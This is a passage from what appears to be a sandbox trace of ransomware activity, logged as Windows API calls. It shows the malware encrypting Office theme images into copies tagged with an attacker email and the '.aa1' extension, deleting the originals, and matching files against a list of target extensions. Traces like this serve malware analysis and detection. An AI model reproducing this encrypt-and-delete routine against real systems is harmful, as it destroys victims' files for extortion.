[0218.843] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0219.824] GetLastError () returned 0x0 [0219.824] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x618, lpOverlapped=0x0) returned 1 [0220.468] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x620, lpOverlapped=0x0) returned 1 [0220.469] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.470] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0220.470] SetEndOfFile (hFile=0x178) returned 1 [0220.470] CloseHandle (hObject=0x178) returned 1 [0220.470] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.470] SetEndOfFile (hFile=0x204) returned 1 [0220.471] CloseHandle (hObject=0x204) returned 1 [0220.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0220.472] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0220.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.472] lstrlenW (lpString=".doc") returned 4 [0220.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0220.472] lstrlenW (lpString=".docx") returned 5 [0220.472] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0220.472] lstrlenW (lpString=".pdf") returned 4 [0220.472] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0220.472] lstrlenW (lpString=".xls") returned 4 [0220.472] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0220.472] lstrlenW (lpString=".xlsx") returned 5 [0220.472] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0220.472] lstrlenW (lpString=".ppt") returned 4 [0220.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0220.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.472] lstrlenW (lpString=".zip") returned 4 [0220.472] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0220.472] lstrlenW (lpString=".rar") returned 4 [0220.472] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0220.472] lstrlenW (lpString=".bz2") returned 4 [0220.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0220.472] lstrlenW (lpString=".7z") returned 3 [0220.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0220.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.473] lstrlenW (lpString=".dbf") returned 4 [0220.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0220.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.473] lstrlenW (lpString=".1cd") returned 4 [0220.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0220.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.473] lstrlenW (lpString=".jpg") returned 4 [0220.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0220.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.473] lstrlenW (lpString=".doc") returned 4 [0220.473] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0220.473] lstrlenW (lpString=".docx") returned 5 [0220.473] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0220.473] lstrlenW (lpString=".pdf") returned 4 [0220.473] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0220.473] lstrlenW (lpString=".xls") returned 4 [0220.473] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0220.473] lstrlenW (lpString=".xlsx") returned 5 [0220.473] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0220.473] lstrlenW (lpString=".ppt") returned 4 [0220.473] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0220.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.473] lstrlenW (lpString=".zip") returned 4 [0220.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0220.473] lstrlenW (lpString=".rar") returned 4 [0220.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0220.473] lstrlenW (lpString=".bz2") returned 4 [0220.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0220.474] lstrlenW (lpString=".7z") returned 3 [0220.474] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0220.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.474] lstrlenW (lpString=".dbf") returned 4 [0220.474] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0220.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.474] lstrlenW (lpString=".1cd") returned 4 [0220.474] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0220.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0220.474] lstrlenW (lpString=".jpg") returned 4 [0220.474] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0220.474] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0220.474] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0220.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0220.474] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3479) returned 1 [0220.474] CloseHandle (hObject=0x204) returned 1 [0220.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0220.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0220.475] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.475] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0220.782] GetLastError () returned 0x0 [0220.782] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xd97, lpOverlapped=0x0) returned 1 [0220.799] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0221.012] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.012] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.012] SetEndOfFile (hFile=0x200) returned 1 [0221.012] CloseHandle (hObject=0x200) returned 1 [0221.012] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.012] SetEndOfFile (hFile=0x204) returned 1 [0221.030] CloseHandle (hObject=0x204) returned 1 [0221.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.030] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0221.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.030] lstrlenW (lpString=".doc") returned 4 [0221.030] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.030] lstrlenW (lpString=".docx") returned 5 [0221.030] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.031] lstrlenW (lpString=".pdf") returned 4 [0221.031] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.031] lstrlenW (lpString=".xls") returned 4 [0221.031] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.031] lstrlenW (lpString=".xlsx") returned 5 [0221.031] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.031] lstrlenW (lpString=".ppt") returned 4 [0221.031] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.031] lstrlenW (lpString=".zip") returned 4 [0221.031] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.031] lstrlenW (lpString=".rar") returned 4 [0221.031] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.031] lstrlenW (lpString=".bz2") returned 4 [0221.031] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.031] lstrlenW (lpString=".7z") returned 3 [0221.031] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.031] lstrlenW (lpString=".dbf") returned 4 [0221.031] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.031] lstrlenW (lpString=".1cd") returned 4 [0221.031] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.031] lstrlenW (lpString=".jpg") returned 4 [0221.031] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.032] lstrlenW (lpString=".doc") returned 4 [0221.032] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.032] lstrlenW (lpString=".docx") returned 5 [0221.032] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.032] lstrlenW (lpString=".pdf") returned 4 [0221.032] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.032] lstrlenW (lpString=".xls") returned 4 [0221.032] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.032] lstrlenW (lpString=".xlsx") returned 5 [0221.032] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.032] lstrlenW (lpString=".ppt") returned 4 [0221.032] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.032] lstrlenW (lpString=".zip") returned 4 [0221.032] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.032] lstrlenW (lpString=".rar") returned 4 [0221.032] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.032] lstrlenW (lpString=".bz2") returned 4 [0221.032] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.032] lstrlenW (lpString=".7z") returned 3 [0221.032] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.032] lstrlenW (lpString=".dbf") returned 4 [0221.032] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.032] lstrlenW (lpString=".1cd") returned 4 [0221.032] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0221.032] lstrlenW (lpString=".jpg") returned 4 [0221.033] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.033] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.033] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.033] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=945) returned 1 [0221.033] CloseHandle (hObject=0x204) returned 1 [0221.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0221.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.034] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.034] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0221.036] GetLastError () returned 0x0 [0221.036] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0221.106] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0221.138] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.138] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.138] SetEndOfFile (hFile=0x200) returned 1 [0221.138] CloseHandle (hObject=0x200) returned 1 [0221.141] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.141] SetEndOfFile (hFile=0x204) returned 1 [0221.142] CloseHandle (hObject=0x204) returned 1 [0221.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.142] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0221.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.142] lstrlenW (lpString=".doc") returned 4 [0221.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.142] lstrlenW (lpString=".docx") returned 5 [0221.142] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.142] lstrlenW (lpString=".pdf") returned 4 [0221.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.142] lstrlenW (lpString=".xls") returned 4 [0221.143] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.143] lstrlenW (lpString=".xlsx") returned 5 [0221.143] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.143] lstrlenW (lpString=".ppt") returned 4 [0221.143] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.143] lstrlenW (lpString=".zip") returned 4 [0221.143] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.143] lstrlenW (lpString=".rar") returned 4 [0221.143] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.143] lstrlenW (lpString=".bz2") returned 4 [0221.143] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.143] lstrlenW (lpString=".7z") returned 3 [0221.143] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.143] lstrlenW (lpString=".dbf") returned 4 [0221.143] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.143] lstrlenW (lpString=".1cd") returned 4 [0221.143] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.143] lstrlenW (lpString=".jpg") returned 4 [0221.143] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.143] lstrlenW (lpString=".doc") returned 4 [0221.143] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.143] lstrlenW (lpString=".docx") returned 5 [0221.143] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.144] lstrlenW (lpString=".pdf") returned 4 [0221.144] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.144] lstrlenW (lpString=".xls") returned 4 [0221.144] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.144] lstrlenW (lpString=".xlsx") returned 5 [0221.144] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.144] lstrlenW (lpString=".ppt") returned 4 [0221.144] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.144] lstrlenW (lpString=".zip") returned 4 [0221.144] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.144] lstrlenW (lpString=".rar") returned 4 [0221.144] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.144] lstrlenW (lpString=".bz2") returned 4 [0221.144] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.144] lstrlenW (lpString=".7z") returned 3 [0221.144] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.144] lstrlenW (lpString=".dbf") returned 4 [0221.144] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.144] lstrlenW (lpString=".1cd") returned 4 [0221.144] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0221.145] lstrlenW (lpString=".jpg") returned 4 [0221.145] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.145] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.145] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.556] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=29925) returned 1 [0221.556] CloseHandle (hObject=0x1b0) returned 1 [0221.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0221.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.557] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.557] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 